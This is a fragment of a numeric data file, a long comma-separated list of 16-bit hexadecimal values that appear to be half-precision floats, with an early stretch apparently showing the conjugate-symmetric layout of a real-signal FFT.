0x3c1b, 0x40af, 0xb358, 0x43d9, 0x3db3, 0xb57e, 0x3cca, 0xb35d,
0xbc52, 0xbd99, 0x3d45, 0x32d5, 0x146a, 0x3f34, 0x38fc, 0x30e8,
0x3520, 0xc312, 0x3d13, 0x3b0f, 0xbaa5, 0x416a, 0xb741, 0xa912,
0x3477, 0xbeb1, 0x42c8, 0xb7f8, 0x3b38, 0x3826, 0x31ba, 0xbfb2,
0xb644, 0xc0c3, 0x365f, 0x404a, 0xc04f, 0x3ecf, 0xb653, 0x37c0,
0xbe42, 0xbe83, 0x39b9, 0xbc32, 0x36bb, 0xb3c5, 0x3a93, 0xb9d1,
0x43f5, 0x4056, 0x3e75, 0x3af6, 0xbecf, 0xb48b, 0x3c25, 0xc1a1,
0xc08b, 0xc0fe, 0x4052, 0x1988, 0x41e4, 0xbd66, 0x3a15, 0xbd8f,
0xbb52, 0x3deb, 0x3596, 0xc28f, 0x3858, 0xbf9d, 0x38a4, 0x3b8a,
0xb53f, 0x3c6d, 0x37a8, 0xbe7b, 0xbe03, 0x3aab, 0x3972, 0x405a,
0xbaaa, 0xae56, 0xbf14, 0x3705, 0xb064, 0x34a4, 0xba34, 0x3c57,
0xac3d, 0x41b9, 0x3e91, 0x3a23, 0x2e8f, 0x37a7, 0x3f49, 0x37f4,
0x3853, 0x3f01, 0x3fb3, 0x3a7a, 0xaeba, 0x312e, 0x4116, 0xc040,
0x3ef4, 0xbd96, 0x3ed5, 0x3754, 0x3a23, 0xba04, 0xb6c2, 0x4090,
0xc33f, 0xbc49, 0xc368, 0x3bf0, 0x3fb3, 0xba83, 0xc1f4, 0xbdfb,
0xa910, 0xb8bf, 0x3fdf, 0x38b6, 0x447f, 0xc1ea, 0xba78, 0xc034,
0xc16f, 0x391e, 0xbf54, 0xbc67, 0xbacc, 0x3fb9, 0x4051, 0x3879,
0xb6c8, 0xc04d, 0xbc5b, 0xa30b, 0xbf2e, 0x3b87, 0x4048, 0xb640,
0x3b0d, 0x0, 0x4048, 0x3640, 0xbf2e, 0xbb87, 0xbc5b, 0x230b,
0xb6c8, 0x404d, 0x4051, 0xb879, 0xbacc, 0xbfb9, 0xbf54, 0x3c67,
0xc16f, 0xb91e, 0xba78, 0x4034, 0x447f, 0x41ea, 0x3fdf, 0xb8b6,
0xa910, 0x38bf, 0xc1f4, 0x3dfb, 0x3fb3, 0x3a83, 0xc368, 0xbbf0,
0xc33f, 0x3c49, 0xb6c2, 0xc090, 0x3a23, 0x3a04, 0x3ed5, 0xb754,
0x3ef4, 0x3d96, 0x4116, 0x4040, 0xaeba, 0xb12e, 0x3fb3, 0xba7a,
0x3853, 0xbf01, 0x3f49, 0xb7f4, 0x2e8f, 0xb7a7, 0x3e91, 0xba23,
0xac3d, 0xc1b9, 0xba34, 0xbc57, 0xb064, 0xb4a4, 0xbf14, 0xb705,
0xbaaa, 0x2e56, 0x3972, 0xc05a, 0xbe03, 0xbaab, 0x37a8, 0x3e7b,
0xb53f, 0xbc6d, 0x38a4, 0xbb8a, 0x3858, 0x3f9d, 0x3596, 0x428f,
0xbb52, 0xbdeb, 0x3a15, 0x3d8f, 0x41e4, 0x3d66, 0x4052, 0x9988,
0xc08b, 0x40fe, 0x3c25, 0x41a1, 0xbecf, 0x348b, 0x3e75, 0xbaf6,
0x43f5, 0xc056, 0x3a93, 0x39d1, 0x36bb, 0x33c5, 0x39b9, 0x3c32,
0xbe42, 0x3e83, 0xb653, 0xb7c0, 0xc04f, 0xbecf, 0x365f, 0xc04a,
0xb644, 0x40c3, 0x31ba, 0x3fb2, 0x3b38, 0xb826, 0x42c8, 0x37f8,
0x3477, 0x3eb1, 0xb741, 0x2912, 0xbaa5, 0xc16a, 0x3d13, 0xbb0f,
0x3520, 0x4312, 0x38fc, 0xb0e8, 0x146a, 0xbf34, 0x3d45, 0xb2d5,
0xbc52, 0x3d99, 0x3cca, 0x335d, 0x3db3, 0x357e, 0xb358, 0xc3d9,
0x3c1b, 0xc0af, 0xbb53, 0x3c41, 0xb5a7, 0xbe82, 0xb2ee, 0x34d4,
0x3a79, 0x37f8, 0xb978, 0xbb46, 0x3913, 0x2d8a, 0x412b, 0x247c,
0xb98d, 0xab44, 0xb633, 0xb27e, 0xb189, 0x4156, 0x3954, 0x3a9a,
0x40e3, 0xc1d0, 0x3257, 0xbd5b, 0x3ef6, 0xbca1, 0xad0a, 0x3ad0,
0xb5dd, 0xb8d8, 0xb286, 0x3d3e, 0x3041, 0xbc32, 0xb4dd, 0xc106,
0xc196, 0xadef, 0xc220, 0xc2ea, 0x38dc, 0x341b, 0xbff0, 0x3b40,
0xbf47, 0x3d0c, 0x3e4c, 0x2591, 0x35a5, 0x405d, 0x40c8, 0x3d7d,
0xbc13, 0xbc65, 0x3d26, 0xba4f, 0xc13e, 0x4408, 0x4152, 0xc27f,
0xc30c, 0xb595, 0x38d3, 0x3959, 0xbcbd, 0xba58, 0x37e1, 0x2cce,
0xc1b4, 0x3f67, 0xbe59, 0x41d7, 0x4324, 0xb31e, 0x27d0, 0x40ab,
0xbc1e, 0x3f45, 0xbd4d, 0x4254, 0xbc9a, 0x4043, 0x417e, 0xc4e9,
0x4048, 0x3856, 0x3e7e, 0xbe4d, 0x3e98, 0xb5ca, 0xb9ca, 0xbeb7,
0x32fd, 0x4070, 0x3ed6, 0x3c22, 0x2916, 0xc054, 0x36aa, 0xc157,
0xc0b0, 0x3d8b, 0x3fd5, 0x4345, 0x3c33, 0xb4cf, 0x3b56, 0xb3d6,
0xbe1b, 0xc09e, 0xbe64, 0x3b9b, 0x3784, 0xc035, 0x3ce4, 0xac94,
0x3d35, 0x3ab2, 0x35f7, 0x3a6a, 0xc1df, 0xc0bf, 0xbe20, 0x41e1,
0xba62, 0xbf0a, 0x3e71, 0xb6b9, 0x3d79, 0xba18, 0x374f, 0x3e12,
0xbb4d, 0x39c6, 0x31dc, 0x3d43, 0x33ce, 0xb963, 0xb8e0, 0xb4c0,
0x3921, 0xb96b, 0xbc5d, 0xbbbe, 0xb863, 0x3cd2, 0xb6dc, 0x37c7,
0x3323, 0xb8bd, 0x402e, 0xbdd8, 0x3976, 0x3ec7, 0x3f0b, 0x3a0c,
0xc250, 0xb9f2, 0xbad9, 0xc07f, 0x355e, 0xb0b2, 0xba4c, 0x3e47,
0xbc61, 0xbee0, 0x397b, 0xb8b1, 0xbd0a, 0x4060, 0x3a93, 0xb772,
0x2301, 0x411b, 0xb839, 0x3de0, 0xb7a5, 0x34fd, 0xb0de, 0xb3f0,
0x3f3a, 0x3e64, 0x3be0, 0xc19f, 0x3aaf, 0x3c24, 0x3028, 0xc09b,
0xb4ba, 0x3db4, 0xbcb7, 0xbb95, 0x410b, 0x3920, 0x40e9, 0x3b0a,
0xb51e, 0x33b0, 0xb735, 0xbae0, 0x3bdb, 0x3b86, 0x3e38, 0xc27f,
0x34d9, 0xbe38, 0x3a9a, 0x3b3d, 0x3095, 0xb847, 0xa56c, 0xb9b0,
0xc0cf, 0xbe13, 0x3c41, 0xbd45, 0xbbaa, 0xbbb9, 0xc12b, 0x3faa,
0xb465, 0xc059, 0x3cf3, 0x37b8, 0xc426, 0xc1a2, 0x4301, 0xbf37,
0xbc66, 0x43c9, 0x3fdc, 0xb988, 0x3fe8, 0xb7ee, 0x404c, 0x3a29,
0x3502, 0x3666, 0xa482, 0x3c24, 0x2e38, 0x3add, 0x3f72, 0x3ea9,
0x441c, 0x467d, 0x420b, 0xba23, 0xc216, 0xbc85, 0xb850, 0xbe28,
0x35b5, 0x4106, 0x28b3, 0x2e9e, 0x3f42, 0x400b, 0x3f5a, 0xbc27,
0x3fe7, 0xba0a, 0xbf7d, 0xbe01, 0x42e2, 0xc05c, 0xbae8, 0xbaa4,
0x3e69, 0x3be5, 0xc59a, 0xc18a, 0xb939, 0xb022, 0xc25d, 0xc285,
0xbe99, 0xbc38, 0x347c, 0x3eb9, 0xb55d, 0x3a68, 0xb6e6, 0x3331,
0xbc44, 0xbaaf, 0x3593, 0x401f, 0x3f10, 0xbb10, 0xc1da, 0x3831,
0x3bf9, 0x3547, 0xbe19, 0xbdc4, 0x2f23, 0xc27c, 0x40f5, 0x3d92,
0xb1cd, 0x3d6d, 0xbd29, 0x398d, 0x407a, 0xb7ee, 0x382c, 0xbd67,
0x3557, 0x202c, 0xbcc1, 0x3580, 0x3775, 0xc2c5, 0x3bb9, 0xbdd5,
0x3e92, 0x3dee, 0x43c2, 0xbac6, 0x4122, 0xbbad, 0xc0f9, 0x3f15,
0x3981, 0x3c8d, 0x3e55, 0x3ae8, 0x3ade, 0xbc14, 0x3c16, 0x3e2a,
0xbe96, 0xbed2, 0xb32c, 0xb3c9, 0xbb52, 0xba84, 0xafd3, 0x3b58,
0xc22f, 0xb264, 0x32b5, 0x38c1, 0xbe3b, 0x3c49, 0x3a89, 0x3bee,
0x3f1d, 0x2f4c, 0x400c, 0x405d, 0xb6e4, 0xbacf, 0x3cfe, 0xbc1e,
0xc1ed, 0x2da4, 0xbff1, 0xb960, 0xbfa6, 0xbda9, 0x3972, 0xb712,
0x32cc, 0x382a, 0x3db6, 0x3a40, 0xb45d, 0xbb3f, 0x34a5, 0xb461,
0x3d84, 0x30a6, 0xb619, 0x3bab, 0x3f47, 0xc1d1, 0x3e26, 0x3fbb,
0x3a14, 0x3f89, 0x2fc5, 0xbde3, 0xb987, 0xb490, 0x417a, 0x3720,
0xc075, 0x387d, 0x3d1d, 0x399f, 0x4161, 0x3e72, 0x40d4, 0x3f9f,
0x39f0, 0xba7d, 0x397a, 0xbc61, 0xb654, 0x30a8, 0xbd26, 0x3700,
0xb884, 0xbd00, 0x3ddc, 0x398f, 0x336e, 0xbb52, 0x3f84, 0x33c9,
0xbf57, 0xba19, 0x3f5f, 0x3eab, 0x406d, 0xbb48, 0xbbc1, 0xbd2b,
0x345e, 0xc169, 0xacbd, 0xb86b, 0x402b, 0xc2f9, 0x3c3a, 0xb9a3,
0xbda2, 0x4116, 0x3d10, 0x41af, 0xae36, 0x34d0, 0xb9d1, 0xb883,
0x4030, 0x3dc5, 0xa992, 0x2c76, 0xbe5e, 0xb32c, 0xc4ca, 0xbf34,
0xbbac, 0x3029, 0xc1d6, 0x3070, 0x3ebe, 0xb3cc, 0x3e29, 0x3d13,
0xb38f, 0xc14b, 0xb606, 0x3ef5, 0xbedc, 0x40f6, 0xc279, 0xb9d7,
0x3e51, 0xbf5a, 0xbf11, 0xb947, 0xbdb0, 0xaa9c, 0xb968, 0xbaa2,
0x34e8, 0x4063, 0xc0c3, 0x42a6, 0xa5b8, 0xc0b7, 0x3ad1, 0x3cad,
0x3e62, 0x3988, 0xafb9, 0xbff7, 0xbc4c, 0x36f9, 0x3e25, 0xb543,
0xba2f, 0xb916, 0xbf6e, 0x3cc7, 0xc13a, 0x3519, 0x4113, 0x40b9,
0x36b3, 0xbba3, 0x39d2, 0xbdeb, 0x337c, 0xba79, 0x3c3c, 0xc403,
0xb586, 0xb8c5, 0x3025, 0x41a3, 0xc1dc, 0x3c92, 0x3bf2, 0xbc6c,
0xbe5d, 0x3bfe, 0x32d7, 0x3f83, 0xbf8f, 0x379c, 0x28d3, 0x38c6,
0x404a, 0x407f, 0x407b, 0xbc44, 0xc0d2, 0xba83, 0xd2e, 0x4095,
0x38e3, 0xbb8b, 0x4056, 0xb0f5, 0x35c6, 0xbfc1, 0xbc4c, 0x434a,
0x3d8a, 0x3b73, 0x40ab, 0x38c5, 0xb865, 0xb68b, 0x42b1, 0x357d,
0xbba7, 0xb56b, 0xc15a, 0xbd6f, 0x3b00, 0x3df6, 0xbd15, 0xbc61,
0x35eb, 0x3bd0, 0x2e13, 0x3977, 0x326a, 0xba1d, 0xb0f1, 0x36b3,
0x2deb, 0x344f, 0x4083, 0x3dd7, 0x3c90, 0x3c7e, 0x3df0, 0xba1e,
0x2e73, 0x3ece, 0x3971, 0xbbeb, 0xb89b, 0xbfe8, 0xc09e, 0x3f61,
0xbb89, 0xbc11, 0xba0c, 0xbecd, 0x3ab1, 0xbaaf, 0xc10b, 0xc0c4,
0xbe12, 0x403e, 0xb8ab, 0x3e0c, 0x381c, 0xc0b9, 0xb2ca, 0x3d6e,
0x3f2a, 0xbc3a, 0x35c6, 0x3ae6, 0x3e47, 0x3fd7, 0x3e73, 0xbbb2,
0xc060, 0x3dd8, 0xb767, 0xb867, 0xb031, 0xb83c, 0xb828, 0xb74e,
0xbe96, 0x3357, 0x3f35, 0x354c, 0x3ca0, 0xc21a, 0xc292, 0x368b,
0xb175, 0xbaf8, 0xbb0d, 0x43aa, 0xbf04, 0xbca4, 0xc36d, 0xbd80,
0x311d, 0xc301, 0xbe78, 0x36b9, 0xb886, 0x375f, 0xbaa9, 0x3a0e,
0xbb10, 0xb5b5, 0x3c9b, 0xbdbb, 0xbf82, 0xbb90, 0x32b9, 0xa0c3,
0xc0d0, 0xa6e4, 0xb932, 0x4186, 0xb38e, 0x387d, 0x3630, 0x3ff3,
0xbc3c, 0xbb07, 0x40f3, 0xb41a, 0xb515, 0xb113, 0x3719, 0xb7cd,
0xbcd0, 0xb979, 0x384a, 0xc2be, 0x3ac4, 0xbb07, 0x321e, 0x2f38,
0x3e4c, 0x3c17, 0xb586, 0xbca1, 0xc3fe, 0xc14d, 0xbcf5, 0x3d73,
0x3279, 0xbe6f, 0x4116, 0x3c1a, 0xb3b4, 0xb832, 0xb69b, 0xbed2,
0xb4dc, 0x406c, 0x3b4d, 0x3ad1, 0x3c56, 0x3958, 0x341f, 0x3deb,
0xbe82, 0x2c1c, 0xb7b7, 0xc235, 0xbc7b, 0xc2e6, 0x3e12, 0x3613,
0xbbf5, 0x2684, 0x3490, 0x41bf, 0xbd0b, 0x39cb, 0x3fac, 0xbc37,
0xbfdd, 0xbedc, 0xb99b, 0xbd54, 0xba31, 0xbe58, 0xbe7b, 0x3e85,
0xc281, 0xae2f, 0x3170, 0x3a04, 0x35c3, 0x3c09, 0x2dd6, 0x40a3,
0x3b6c, 0x40b7, 0xbe51, 0xbc19, 0xbadc, 0x3d20, 0x3e2e, 0xc0b3,
0x3dbc, 0x3f5f, 0xbd61, 0xb485, 0x354f, 0x3f19, 0x4361, 0x3c1e,
0xacef, 0xc246, 0xbb81, 0x3958, 0x41cd, 0x4025, 0x3e94, 0x3ef4,
0x40c4, 0xbd62, 0xbd09, 0xaee3, 0xbe00, 0xc15b, 0xc065, 0xc1b9,
0x404e, 0x415d, 0xc106, 0x2de2, 0x2d14, 0x408c, 0x3d3c, 0x3317,
0x3abd, 0x3d95, 0x3cf7, 0xc117, 0xb4bd, 0xbc22, 0x424f, 0x397a,
0xa8dd, 0xbbf3, 0xb842, 0x2ea2, 0x3607, 0xb773, 0x4050, 0x35e6,
0x3bd4, 0x42b0, 0xb6a8, 0xb54e, 0x388c, 0x3ed7, 0xb327, 0x3cc2,
0x41a2, 0xb775, 0xbc56, 0x3a18, 0xb8b8, 0xb718, 0x3d5d, 0x3863,
0x359c, 0xc299, 0x3dd8, 0x3f54, 0xa4b1, 0x3cbe, 0x457c, 0x400e,
0x3f40, 0x4238, 0xbffd, 0x441f, 0xbe1e, 0x3862, 0x2519, 0xb7c3,
0x3ff0, 0x3abe, 0xbab0, 0xbc3f, 0xc0dd, 0x3412, 0x2f16, 0xc131,
0xb8fc, 0x3ca9, 0x40b0, 0xbf61, 0x38fe, 0x3971, 0xbb88, 0xbebf,
0xc244, 0x3933, 0x3826, 0xb99d, 0x40dc, 0x3c91, 0xc10b, 0xbe03,
0x42a6, 0xb61d, 0xbab8, 0x3485, 0x3882, 0x3fe7, 0x3f54, 0x3ee3,
0x39cd, 0x409f, 0x4152, 0x44ac, 0xb804, 0xb9a6, 0x2e92, 0x3adc,
0x2e92, 0xb852, 0xbc8b, 0x3de2, 0xbff2, 0xbcdc, 0xade3, 0x3eb6,
0x3599, 0xbc01, 0x2f13, 0x3868, 0x39d0, 0x4426, 0x1870, 0x3658,
0xb854, 0x3539, 0x3070, 0x3e49, 0xbda3, 0x33b0, 0xbadf, 0x3add,
0x426d, 0x3ba9, 0xbb27, 0x4041, 0x372e, 0x3abb, 0xb8a6, 0x4203,
0x3965, 0xbca4, 0xbb35, 0xba4c, 0xc304, 0x3c04, 0xbb47, 0xbe8e,
0xb972, 0x3a3a, 0x3d03, 0x40db, 0xb97b, 0x40b3, 0xbeec, 0x3203,
0x3f65, 0x3e61, 0xadf0, 0xc1ae, 0x3aed, 0xbca9, 0xbc79, 0x34dc,
0xc3cc, 0x4063, 0x3af4, 0x3e20, 0xbddc, 0x299a, 0x2e0f, 0x3483,
0x2422, 0xc410, 0x40d1, 0xc13b, 0xc1b2, 0xbfa7, 0xb4fc, 0x3cb3,
0xac14, 0x3978, 0x409f, 0x429a, 0xbe19, 0xc36f, 0xbcd7, 0x3b99,
0xb4ed, 0x4106, 0xbd64, 0xbf9a, 0x3d10, 0xbb2c, 0xbdc0, 0xc1f8,
0x3471, 0x3bfb, 0xb6ea, 0xc100, 0x3d4f, 0xbde5, 0x3d26, 0xbcd6,
0x3b92, 0x3062, 0xbc57, 0x3c87, 0x31ad, 0xc295, 0x4176, 0x40d4,
0x39c0, 0x40aa, 0x3c45, 0x353c, 0xb6b4, 0xb30d, 0xb697, 0x3d3d,
0xb434, 0x351e, 0x40ae, 0x38aa, 0x40a9, 0x3e04, 0x3711, 0xbc28,
0xba9e, 0x3597, 0xb0fe, 0x3a43, 0x36d0, 0x3b21, 0x3c6e, 0x3f69,
0xc22a, 0xbc74, 0xc07b, 0x38a3, 0x3698, 0xb777, 0xbc14, 0x3ed2,
0xbc2b, 0xbc83, 0xaee9, 0xb71c, 0x426d, 0x2440, 0x40cc, 0x3e65,
0x3faf, 0x355a, 0xb91e, 0xb60a, 0xbf22, 0x408f, 0xc104, 0x3c87,
0x3fe3, 0x2f4e, 0xbedb, 0x3bc4, 0x2110, 0xc012, 0xc08d, 0x3dc9,
0x3bc3, 0x298c, 0x425a, 0xbf8f, 0xc035, 0xafbe, 0xb9c1, 0xc1ae,
0x40c7, 0x40dc, 0x4363, 0xbd27, 0x38b7, 0x3704, 0xb27d, 0xc14c,
0xc249, 0xbc8d, 0xb8c4, 0xbdc9, 0xbdcc, 0x4206, 0x3ff7, 0x39c4,
0x3855, 0x4006, 0xa652, 0x3c76, 0xbc07, 0x3cb2, 0xc2eb, 0xbac4,
0xb89b, 0xbf21, 0xc2ad, 0x3eef, 0x392e, 0xb81f, 0xbafc, 0xbc18,
0xc06d, 0xb908, 0x3d2b, 0xbb6a, 0xb9e5, 0x3c33, 0x2cba, 0xb18e,
0x3dbb, 0xbc0d, 0xc0da, 0xbd7f, 0x3873, 0x3c7e, 0x3450, 0x3dbb,
0xbed5, 0xb11c, 0x4065, 0x3eb9, 0x30f6, 0xc2b4, 0x3d54, 0xbaf0,
0x9fa2, 0x3189, 0xb897, 0xbbb8, 0x4017, 0xbd9f, 0x3f46, 0x3c01,
0x4125, 0x3e6a, 0xbd1c, 0xbef8, 0x3973, 0xa89e, 0xb8fe, 0xbb13,
0x416f, 0x3254, 0x40d2, 0x3c59, 0x3014, 0x3769, 0x39e0, 0xb85e,
0xc41e, 0x3f3b, 0x3709, 0x3faa, 0x350d, 0x3a31, 0x3ab5, 0x3b77,
0xbee5, 0xbd03, 0x3d4f, 0x3e55, 0x3d9b, 0xb9ee, 0xb9b8, 0x3d6a,
0x39d3, 0xb795, 0xbd9b, 0xb8d9, 0xc318, 0x38fc, 0xc021, 0xabee,
0x3be2, 0x3700, 0x3ae1, 0xc0b9, 0xbabe, 0x400d, 0x4417, 0xbc29,
0x3e04, 0x3c0b, 0x3a9b, 0xb6a3, 0x4041, 0x36c5, 0x3eb3, 0x3f4e,
0x41ed, 0x2f34, 0x3cb5, 0xbebe, 0xc013, 0xb64a, 0x42f5, 0x35fe,
0x3813, 0xbb1a, 0x3cd5, 0xbd6b, 0xc126, 0x3c0b, 0xba57, 0x41a9,
0x3b3a, 0x361e, 0xbacc, 0x346b, 0x40a6, 0xbd01, 0x3a39, 0xb6ce,
0x3292, 0xbe90, 0xa042, 0x404f, 0x34ba, 0xbc9f, 0xc39a, 0xba17,
0x3ff9, 0xbe1d, 0xbdeb, 0xbf44, 0xb902, 0x3ac1, 0x41f0, 0x3af4,
0x4144, 0x4025, 0xbd98, 0xb25f, 0xb166, 0x3d50, 0x2c73, 0xbba6,
0xbc3d, 0x40da, 0xbb38, 0xbbb2, 0x3dcf, 0x3cb2, 0xb14f, 0xc23b,
0xbf98, 0x4000, 0xb9ec, 0x3a30, 0x3f62, 0x343a, 0x3e5e, 0x34d3,
0xc389, 0xbcac, 0x3b19, 0xb944, 0xb02b, 0xb9cd, 0x3550, 0xbc62,
0xbfb6, 0x387d, 0x3e78, 0xbe10, 0xb032, 0xb8ed, 0xb4ca, 0x3ec9,
0x41d0, 0x40f6, 0xb333, 0x4156, 0xc178, 0x3e7b, 0x3ade, 0x393a,
0x3600, 0xbc72, 0xbcf8, 0x420e, 0x382c, 0x3ec1, 0x40bf, 0xbf55,
0x3bd3, 0xbf3a, 0x3e25, 0x3428, 0xbeb1, 0x3e42, 0xbd99, 0xb981,
0xbdec, 0xbc11, 0xbfa8, 0xad71, 0xbca2, 0xba27, 0xbf7d, 0x3ef8,
0x37fb, 0x407f, 0xbec2, 0x33c4, 0xbfab, 0xbf27, 0x33db, 0x3ef6,
0xc02f, 0x3e01, 0x3a20, 0xb252, 0xbb8c, 0xb803, 0x3a86, 0x4151,
0xbc21, 0x2ff2, 0xc096, 0x386e, 0x3c6e, 0x4096, 0xbf5f, 0xc0e2,
0xb92e, 0xb354, 0xbc6c, 0x4117, 0xb488, 0x4050, 0xc2aa, 0x29a7,
0xc024, 0x3ac3, 0x400a, 0xbb13, 0x39c2, 0xb855, 0xb623, 0xbb29,
0x3df5, 0x35d5, 0xbcf6, 0xbcdb, 0xbc68, 0x32f4, 0xba7e, 0xc003,
0xbe70, 0xbb79, 0x4193, 0xb55d, 0x3eef, 0xc0ea, 0xb5ac, 0x4389,
0x3825, 0x3a04, 0x407b, 0xbc82, 0x26c2, 0x3ab9, 0xb467, 0x3f56,
0x3ff8, 0xbcc5, 0x3a71, 0x3cb3, 0x3a71, 0x4022, 0xbffd, 0x37ba,
0x3eb1, 0xbc4f, 0xb7eb, 0xbbcf, 0xb5f8, 0x3afd, 0xc074, 0x4024,
0xb81a, 0xc26b, 0x3e62, 0xad59, 0xb434, 0x3fb5, 0xb690, 0x3eeb,
0x3709, 0xc280, 0x357e, 0xb598, 0x3aec, 0xbf6e, 0xb4d2, 0x2b4c,
0x345a, 0xbe95, 0x3818, 0xc151, 0x3a52, 0x31e6, 0x389e, 0xb7d1,
0xbbaf, 0x345c, 0x3bb0, 0xbac1, 0xba14, 0xbdbe, 0xc218, 0x35d8,
0xb975, 0xbcfd, 0x2c99, 0xa3fc, 0xb09f, 0x3e75, 0x42c1, 0xc11c,
0xbded, 0xbee7, 0x3ddf, 0x3980, 0x3c03, 0x34ad, 0xbe0b, 0x38e7,
0xbe65, 0xc0b2, 0xbc9b, 0x4549, 0x3d54, 0xbf45, 0x3b26, 0x2dee,
0x410e, 0xbeca, 0xadee, 0xbfe3, 0xbb60, 0xc3f4, 0xb684, 0xbcae,
0x38bd, 0x619b, 0xc247, 0xbdef, 0x3446, 0x41bf, 0x3822, 0x4058,
0x3ea0, 0x3c2e, 0xb829, 0x3dd1, 0xb955, 0x4088, 0x2cba, 0xc19c,
0x31d7, 0xc3e0, 0x3ea2, 0xbee8, 0xb5be, 0xbc4a, 0xbc91, 0xbdd9,
0xb40f, 0xb882, 0x4100, 0x3b61, 0x3518, 0x4225, 0xae73, 0xb752,
0xb89f, 0x2c1a, 0x3cba, 0x3c5c, 0x3b67, 0xa403, 0x3c80, 0x3d75,
0x3f14, 0x396d, 0x4011, 0x3e42, 0x3eba, 0xbdbc, 0x3948, 0x3c55,
0x3d16, 0x3550, 0x345f, 0xc14f, 0xbc21, 0xbcea, 0xc02d, 0xbd51,
0xbf3a, 0x3e0b, 0xbc07, 0xb5d7, 0x3af4, 0x3fc9, 0xbe9c, 0x3da4,
0xc0ce, 0xbcc7, 0xb9c9, 0xc128, 0xbe99, 0x33af, 0x34da, 0x3627,
0x3c1d, 0xbd5b, 0x3d83, 0xba50, 0xbb2c, 0x28e3, 0x39f1, 0xbdee,
0x38dc, 0xb5e3, 0x3aa7, 0x32c8, 0x4074, 0x4149, 0xc139, 0x3c5e,
0x410a, 0xbfeb, 0xc09b, 0x36ab, 0x3f56, 0xbb11, 0xa919, 0xb97c,
0xb3f8, 0xba75, 0xb57d, 0x3faa, 0x4082, 0xbf63, 0x3a64, 0x3aae,
0x4111, 0x3f16, 0xc2d5, 0xac95, 0xc0f6, 0xb859, 0xbef6, 0xbe43,
0x3ad8, 0xc0c3, 0x368b, 0xbdd3, 0x40d8, 0xc1e7, 0x3fcb, 0x407b,
0xbbd3, 0xbecf, 0x4034, 0x3de8, 0x209c, 0x2e16, 0xbf7e, 0x3d33,
0xbdc2, 0xb9ec, 0xb4d8, 0x3faa, 0xbd54, 0x3d21, 0xb440, 0x3eb1,
0xb00f, 0xbc48, 0xbf39, 0x4118, 0x3412, 0xc093, 0xb657, 0x3698,
0xbdb8, 0x427f, 0xb93a, 0xbddf, 0xbac1, 0x3dcc, 0x3660, 0x3713,
0xbd66, 0x38a4, 0xaf6b, 0x381f, 0xbb47, 0x3c13, 0x3ba6, 0xb391,
0x3b16, 0xb9fa, 0x3e7e, 0x3a5b, 0xb25d, 0x3c69, 0xb807, 0xb8fb,
0x4053, 0xb944, 0xc1bf, 0x380e, 0x3c36, 0x38ee, 0x3ca6, 0xc08c,
0x3d44, 0xc352, 0x3b44, 0x4126, 0xc130, 0xc460, 0x40b3, 0xb752,
0xafba, 0x3e9a, 0x33ff, 0x39d9, 0x36c5, 0x2775, 0x436d, 0x3be2,
0x3e0c, 0xafde, 0xb85e, 0xbb7b, 0xc127, 0xc003, 0x2e38, 0xbc38,
0xc126, 0xbaf0, 0x3979, 0xbc2c, 0x3a95, 0x403b, 0xb967, 0x3c83,
0xb601, 0x3a69, 0xb5ed, 0xae8c, 0xbdeb, 0x41d8, 0x3b91, 0xbc65,
0xbc0a, 0xb8f1, 0xbbd3, 0x283e, 0xba88, 0x3eed, 0xc13f, 0x3c3d,
0x35a9, 0xb9de, 0xbe1a, 0x42a2, 0xc1cf, 0x3de8, 0xbcc9, 0xc302,
0xbe58, 0x3d2d, 0xbff1, 0xbcca, 0x3838, 0x42d0, 0xbada, 0x3f51,
0x40b2, 0xc0da, 0x3d14, 0x34ee, 0xb967, 0x3635, 0x37c3, 0xbc98,
0x18ea, 0x3aea, 0x3fc8, 0x35a5, 0xbf88, 0xb92d, 0x3f64, 0xbc38,
0x2c38, 0xb952, 0xbb93, 0x3be8, 0x3e4b, 0x38b6, 0xb6c8, 0xb84e,
0x3d6b, 0x425f, 0x38f3, 0x40b7, 0x4106, 0x2866, 0x3427, 0x381e,
0x414e, 0xc1a5, 0xbdcd, 0x4058, 0xbccc, 0xbe63, 0xadc2, 0x427c,
0x343a, 0x2f56, 0xbdd5, 0x356e, 0x39df, 0x403d, 0xba2b, 0xb559,
0xbb07, 0x3ce8, 0xbc67, 0xb3f3, 0xbc6b, 0xbb4d, 0x404e, 0xb941,
0x3dc5, 0x2fc6, 0xbfd6, 0x31a3, 0x3c1d, 0x4169, 0xb256, 0x3ba7,
0x317d, 0xbcb8, 0x3eca, 0xb84d, 0xc114, 0x4405, 0xc204, 0x4478,
0x3d2f, 0x3c8e, 0xb69e, 0xb983, 0xb941, 0xb40a, 0xb6c6, 0x42dd,
0x3763, 0x4010, 0x3700, 0x43fa, 0x3ed8, 0x3e20, 0xbe7d, 0x39ae,
0xb813, 0xc048, 0x40bf, 0xc20a, 0xbc3f, 0xb6a2, 0x3c28, 0x3adc,
0x3be8, 0xbb74, 0x3394, 0x3d85, 0xb96c, 0xbda3, 0x4317, 0x35b4,
0xc46a, 0xbb58, 0xc3be, 0x3e8d, 0xb8cd, 0x44d2, 0x2e0f, 0xb799,
0xbaa7, 0x39cc, 0xc067, 0x3ab4, 0xba99, 0xb66d, 0x2cfe, 0xacfd,
0x38e4, 0xc243, 0xbf36, 0x42d2, 0xbdb6, 0x40ab, 0xbad7, 0xbcba,
0x36b3, 0xaf79, 0xb810, 0x428e, 0x40e8, 0xc007, 0xb814, 0x35ef,
0x34ac, 0xb7d6, 0x37f4, 0x3780, 0xb7b4, 0x415c, 0xbd17, 0xace6,
0x386b, 0xbed2, 0xc409, 0xc011, 0xbf64, 0xc28b, 0x3e6f, 0xbb0b,
0x3c65, 0xba52, 0xc417, 0xb194, 0xbff8, 0x3842, 0x400d, 0xbdaa,
0xbcf2, 0xae88, 0xbf4e, 0x306a, 0xb7a7, 0x3969, 0x3c5e, 0x398d,
0x33c6, 0xc026, 0x3550, 0x3108, 0x4179, 0xc139, 0xc0af, 0xb63e,
0xc00c, 0x3f42, 0xc283, 0xbf23, 0x3f03, 0x4385, 0x38be, 0xc142,
0x4050, 0x3d41, 0x3d57, 0xc04d, 0xc066, 0x42b3, 0x3cbb, 0x3d23,
0xba4f, 0xbb6b, 0x3448, 0xbad8, 0x3960, 0xb2f1, 0x3ce1, 0x3152,
0x3a57, 0x31d0, 0x377c, 0x422c, 0x3dbb, 0xbb6a, 0x31de, 0xbf0d,
0xbddd, 0xc4e9, 0x3130, 0x3a73, 0x35dc, 0x3f49, 0xb4d5, 0xba9c,
0xbdcb, 0x37de, 0x32eb, 0x3907, 0xbe59, 0xbf7e, 0xb34a, 0xabe3,
0xbb87, 0xbf09, 0x3999, 0x3a8a, 0xc182, 0x30e1, 0x4372, 0x3bcc,
